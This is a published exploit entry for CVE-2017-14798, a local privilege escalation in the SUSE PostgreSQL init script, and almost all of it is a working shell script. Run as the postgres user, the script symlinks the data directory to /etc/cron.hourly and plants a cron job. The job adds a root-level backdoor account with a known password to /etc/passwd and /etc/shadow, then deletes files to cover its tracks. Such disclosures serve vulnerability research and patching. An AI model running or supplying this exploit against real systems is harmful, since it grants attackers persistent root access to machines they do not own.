# Exploit Title: PostgreSQL 9.4-0.5.3 - Privilege Escalation # Date: 2017-10-11 # Exploit Author: Johannes Segitz # Vendor Homepage: https://bugzilla.suse.com/show_bug.cgi?id=1062722 # Software Link: - # Version: Before postgresql-init-9.4-0.5.3.1 # Tested on: SUSE Linux Enterprise 11 SP4 # CVE : CVE-2017-14798 #!/bin/sh # don't use spaces or other funny characters in here CRON_DIR='/etc/cron.hourly' CRON_FILE="$CRON_DIR/totally_not_a_lpe" declare -a CLEANUP_ELEMENTS=('base' 'global' 'pg_clog' 'pg_hba.conf' 'pg_ident.conf' 'pg_multixact' 'pg_subtrans' 'pg_tblspc' 'pg_twophase' 'PG_VERSION' 'pg_xlog' 'postgresql.conf') if [ "$(whoami)" != "postgres" ]; then echo "Must be run as user postgres" exit -1 fi cd echo setting up exploit mv data data2 ln -s $CRON_DIR data echo waiting for DB restart while [ ! -w $CRON_DIR ]; do sleep 1 done echo able to write $CRON_DIR echo '#!/bin/sh' > $CRON_FILE echo 'echo '"'"'pg_root:x:0:0:,,,:/home/pg_root:/bin/bash'"'"' >> /etc/passwd' >> $CRON_FILE echo 'echo '"'"'pg_root:$2y$05$6F6hHGfvZ42Mq1EF8V.e8uguGumaZsZ4P9qfjiuHFT/k8B2CZrJaO:16339:0:99999:7:::'"'"' >> /etc/shadow' >> $CRON_FILE echo "rm $CRON_FILE" >> $CRON_FILE echo "chown root.root ${CRON_DIR}" >> $CRON_FILE chmod +x $CRON_FILE if [ -e $CRON_FILE ]; then echo wrote $CRON_FILE else echo failed to write $CRON_FILE, exiting exit 1 fi echo cleaning up for i in "${CLEANUP_ELEMENTS[@]}"; do rm -rf "$CRON_DIR/$i" done rm data mv data2 data echo now wait, depending on CRON_DIR setting you should be able to log into this system with pg_root:foobar soonish. Enjoy!